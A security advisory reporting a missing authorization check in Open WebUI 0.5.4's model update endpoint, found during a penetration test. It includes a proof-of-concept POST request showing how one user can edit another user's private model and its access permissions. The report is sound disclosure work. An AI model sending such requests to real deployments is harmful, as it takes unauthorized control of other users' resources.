Open WebUI missing authorization check at the model update function - models from other users can be updated

### Summary A user can modify another user's model even if its visibility is set to `Private`. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4. ### Details / PoC The user `Victim` created a private model with the visibility set to `private`:  The user `Attacker` can edit this model using the following POST request: ``` POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers {"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281} ``` Request / Response  ### Impact A user can modify another user's model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.